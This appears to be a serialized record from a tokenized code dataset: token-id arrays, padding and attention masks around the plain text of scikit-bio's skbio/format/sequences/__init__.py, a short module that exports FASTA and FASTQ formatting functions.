32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6061, 89, 29730, 271, 14630, 665, 279, 262, 271, 1235, 32, 17164, 14, 957, 30, 199, 3, 199, 3, 1898, 8937, 9572, 13002, 12, 3277, 14, 199, 3, 199, 3, 961, 1331, 31816, 471, 6285, 365, 6326, 2808, 370, 29165, 13809, 316, 370, 675, 12, 2811, 12, 199, 3, 1331, 12, 503, 3604, 652, 5420, 370, 314, 2895, 436, 3704, 402, 314, 1664, 199, 3, 1696, 1684, 844, 373, 14, 18, 14, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 199, 3, 911, 506, 2997, 12, 1325, 2428, 1821, 3408, 19147, 503, 2478, 12, 5893, 314, 199, 3, 2478, 3712, 1417, 402, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 199, 3, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 199, 3, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 221, 6184, 9572, 13002, 199, 3, 21032, 10375, 626, 787, 30147, 972, 315, 314, 1350, 1233, 503, 3794, 787, 440, 199, 3, 5420, 370, 314, 1664, 1696, 1684, 844, 436, 1443, 1454, 506, 1202, 503, 32436, 199, 3, 543, 314, 4056, 4983, 402, 9572, 13002, 12, 3277, 14, 199, 3, 199, 199, 646, 2882, 199, 199, 504, 1134, 30784, 14, 1095, 492, 17993, 3110, 199, 504, 2295, 14, 1095, 533, 492, 5817, 774, 199, 199, 533, 20934, 19, 63, 1746, 8, 3110, 774, 304, 272, 1414, 275, 298, 1782, 15944, 2, 339, 347, 29779, 8, 277, 304, 267, 327, 986, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 531, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 1553, 595, 31209, 401, 298, 1782, 15944, 1553, 595, 31209, 60, 78, 531, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 1553, 67, 8085, 281, 29, 2944, 1734, 1244, 57, 401, 298, 1782, 15944, 1553, 67, 8085, 281, 29, 2944, 1734, 1244, 57, 60, 78, 531, 199, 199, 533, 481, 1398, 63, 1746, 8, 4161, 19, 63, 1746, 304, 272, 347, 29779, 8, 277, 304, 267, 327, 1852, 3238, 781, 9064, 2757, 5906, 267, 1798, 275, 291, 14, 362, 2842, 480, 1782, 15944, 531, 267, 291, 14, 1815, 8, 20179, 8, 2087, 855, 533, 3108, 17993, 3110, 430, 398, 327, 1852, 3238, 781, 787, 5139, 7688, 370, 2198, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 531, 199, 199, 533, 820, 24771, 24, 63, 1746, 8, 38, 1398, 63, 1746, 304, 272, 986, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
JWDebelius/scikit-bio
skbio/format/sequences/__init__.py
2
1054
r""" Format biological sequences (:mod:`skbio.format.sequences`) =========================================================== .. currentmodule:: skbio.format.sequences This module provides functions for writing sequence files in a variety of different formats, the available formatters are listed below. Functions --------- .. autosummary:: :toctree: generated/ fasta_from_sequences fasta_from_alignment format_fastq_record """ # ---------------------------------------------------------------------------- # Copyright (c) 2013--, scikit-bio development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. # ---------------------------------------------------------------------------- from .fasta import fasta_from_sequences, fasta_from_alignment from .fastq import format_fastq_record __all__ = ['fasta_from_sequences', 'fasta_from_alignment', 'format_fastq_record'] from numpy.testing import Tester test = Tester().test
bsd-3-clause
[ 82, 624, 199, 3484, 28897, 7954, 8013, 18479, 1494, 1705, 6852, 2308, 14, 908, 14, 13436, 10522, 199, 12813, 21326, 199, 199, 703, 1453, 578, 447, 11448, 2308, 14, 908, 14, 13436, 199, 199, 2765, 859, 6571, 3423, 367, 3575, 3414, 1584, 315, 282, 32246, 402, 199, 14020, 6752, 12, 314, 2808, 30514, 787, 10532, 5084, 14, 199, 199, 13967, 199, 9960, 199, 199, 703, 26651, 29309, 447, 2043, 520, 475, 16970, 26, 4046, 15, 339, 30544, 63, 504, 63, 13436, 272, 30544, 63, 504, 63, 13699, 272, 1475, 63, 26423, 63, 3059, 199, 199, 624, 199, 199, 3, 27103, 199, 3, 1898, 334, 67, 9, 6171, 306, 12, 6276, 6065, 13, 17614, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 9685, 14, 2424, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 504, 1275, 20309, 492, 30544, 63, 504, 63, 13436, 12, 30544, 63, 504, 63, 13699, 199, 504, 1275, 26423, 492, 1475, 63, 26423, 63, 3059, 199, 199, 363, 452, 363, 275, 788, 20309, 63, 504, 63, 13436, 297, 283, 20309, 63, 504, 63, 13699, 297, 1779, 283, 908, 63, 26423, 63, 3059, 418, 421, 199, 504, 2680, 14, 4776, 492, 377, 17338, 199, 396, 275, 377, 17338, 1252, 396, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 624, 199, 3484, 28897, 7954, 8013, 18479, 1494, 1705, 6852, 2308, 14, 908, 14, 13436, 10522, 199, 12813, 21326, 199, 199, 703, 1453, 578, 447, 11448, 2308, 14, 908, 14, 13436, 199, 199, 2765, 859, 6571, 3423, 367, 3575, 3414, 1584, 315, 282, 32246, 402, 199, 14020, 6752, 12, 314, 2808, 30514, 787, 10532, 5084, 14, 199, 199, 13967, 199, 9960, 199, 199, 703, 26651, 29309, 447, 2043, 520, 475, 16970, 26, 4046, 15, 339, 30544, 63, 504, 63, 13436, 272, 30544, 63, 504, 63, 13699, 272, 1475, 63, 26423, 63, 3059, 199, 199, 624, 199, 199, 3, 27103, 199, 3, 1898, 334, 67, 9, 6171, 306, 12, 6276, 6065, 13, 17614, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 9685, 14, 2424, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 504, 1275, 20309, 492, 30544, 63, 504, 63, 13436, 12, 30544, 63, 504, 63, 13699, 199, 504, 1275, 26423, 492, 1475, 63, 26423, 63, 3059, 199, 199, 363, 452, 363, 275, 788, 20309, 63, 504, 63, 13436, 297, 283, 20309, 63, 504, 63, 13699, 297, 1779, 283, 908, 63, 26423, 63, 3059, 418, 421, 199, 504, 2680, 14, 4776, 492, 377, 17338, 199, 396, 275, 377, 17338, 1252, 396, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 